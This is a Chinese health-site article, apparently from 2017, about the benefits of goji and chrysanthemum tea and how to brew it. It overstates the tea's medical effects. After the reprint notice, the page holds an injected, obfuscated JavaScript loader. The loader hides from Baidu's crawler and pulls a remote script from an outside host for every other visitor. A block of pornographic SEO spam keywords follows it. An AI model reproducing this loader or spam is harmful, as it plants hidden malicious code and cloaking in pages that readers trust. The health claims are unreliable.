當前位置:首頁 > 飲食 > 食物營養 > 正文

枸杞菊花泡水喝有什么好處

2017-07-11 15:50:10  來源:360常識網   熱度:
導語:在我們的生活中很多時候都能見到很多食物組合在一起做成一道非常美味的佳肴,其中枸杞和菊花泡水就是很多人比較喜歡的一種做法,因為它能夠

在我們的生活中很多時候都能見到很多食物組合在一起做成一道非常美味的佳肴,其中枸杞和菊花泡水就是很多人比較喜歡的一種做法,因為它能夠幫助我們緩解眼部的疲勞。還能消除體內的火氣,特別是在夏天的時候容易中暑,可以多喝一些枸杞菊花水,那么枸杞菊花泡水喝有什么好處呢?

枸杞子菊花茶能讓人頭腦清醒、雙目明亮,特別對肝火旺、用眼過度導致的雙眼干澀有較好的療效,經常覺得眼睛干澀的電腦族,多喝些菊花茶有利無害。

枸杞和菊花茶泡水喝

在菊花茶中加入枸杞,泡出來的茶就是有名的枸杞子菊花茶,它的功效是疏風清熱、解毒明目,并對胸悶、心悸、氣急、頭暈、頭痛、四肢麻木等有明顯效果。因為兩種都是護眼的藥材,能有效緩解眼睛疲勞或眼睛乾澀的癥狀,非常適合澈夜溫習功課的學生或電腦工作者飲用。

泡制方法

枸杞子菊花茶枸杞菊花茶是用菊花和枸杞同泡而成。每次用菊花、枸杞各10克加入大茶壺內,加入熱開水,10分鐘后便可飲用.枸杞對于養精益氣,溫熱滋補有很強的功效。枸杞菊花茶固然有很好的滋補和治療作用,但也不是所有人都適合服用。體質虛弱、抵擋力差的人平時應該多吃點枸杞,但正在感冒發熱、身體有炎癥、腹瀉的人最好別吃。 枸杞子含有豐碩的胡蘿卜素、維生素A1、B1、B2、C等鈣、鐵等健康眼睛的必須營養,故擅長明目,所以俗稱“明眼子”。歷代醫家治療肝血不足、腎陰虧虛引起的視物昏花和夜盲癥,經常使用枸杞子。常吃枸杞可以美容,這點很多人都不知道。這是由于,枸杞可以提高人體皮膚吸收氧分的能力,另外,還能起到美白作用。

泡飲菊花茶時,最好用透明的玻璃杯,每次放上四、五粒,再用沸水沖泡即可。若是飲用的人多,可用透明的茶壺,每次放一小把,沖入沸水泡2-3分鐘,再把茶水倒入每個人的透明玻璃杯中即可。飲菊花茶時可在茶杯中放入幾顆冰糖,這樣喝起來味更甘。菊花茶對口干、火旺、目澀,或由風、寒、濕引起的肢體疼痛、麻木的疾病均有一定的療效。健康的人平時也可當開水飲用。每次喝時,不要一次喝完,要留下三分之一杯的茶水,再加上新茶水,泡上片刻,而后再喝。

我們生活中的飲食是至關重要的,所以我們一定要掌握好食物的一些功效作用,這樣才能更好的利用食物的功效來調理身體,當了解了枸杞菊花泡水喝有什么好處之后,我們可以在平時多喝一些,尤其是經常面對電腦工作的朋友,可以幫助我們緩解疲勞。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
久久国产加勒比精品无码| 亚洲精品无码久久久久秋霞| 午夜精品视频任你躁| 久久伊人精品青青草原高清| 日韩精品国产一区| 91精品国产免费久久国语蜜臀| 一本大道无码日韩精品影视_| 99任你躁精品视频| 亚洲av永久无码精品表情包| 青草午夜精品视频在线观看| 精品欧洲AV无码一区二区男男| 国产午夜精品一二区理论影院| 网曝门精品国产事件在线观看| 久久婷婷国产综合精品| 国产午夜精品一区二区| 精品无码成人久久久久久| 久久精品九九亚洲精品| 国产亚洲精品久久久久秋霞| 精品无码成人片一区二区| 在线日产精品一区| 乱码精品一区二区三区| 91精品在线播放| selao久久国产精品| 最新国产精品自在线观看| 国产精品一区二区不卡| 久久九九精品国产综合喷水 | 久久精品麻豆日日躁夜夜躁| 久久99精品久久| 中国大陆精品视频XXXX| 精品一区二区三区在线播放| 精品亚洲国产成人av| 最新在线精品国自产拍网站| 久久免费的精品国产V∧| 久久国产精品-国产精品| 潮喷大喷水系列无码久久精品| 无码国内精品久久人妻麻豆按摩| 在线播放精品一区二区啪视频| 国产精品综合AV一区二区国产馆| 久久er99热精品一区二区| 久久久国产精品一区二区18禁| 精品国产免费一区二区三区香蕉 |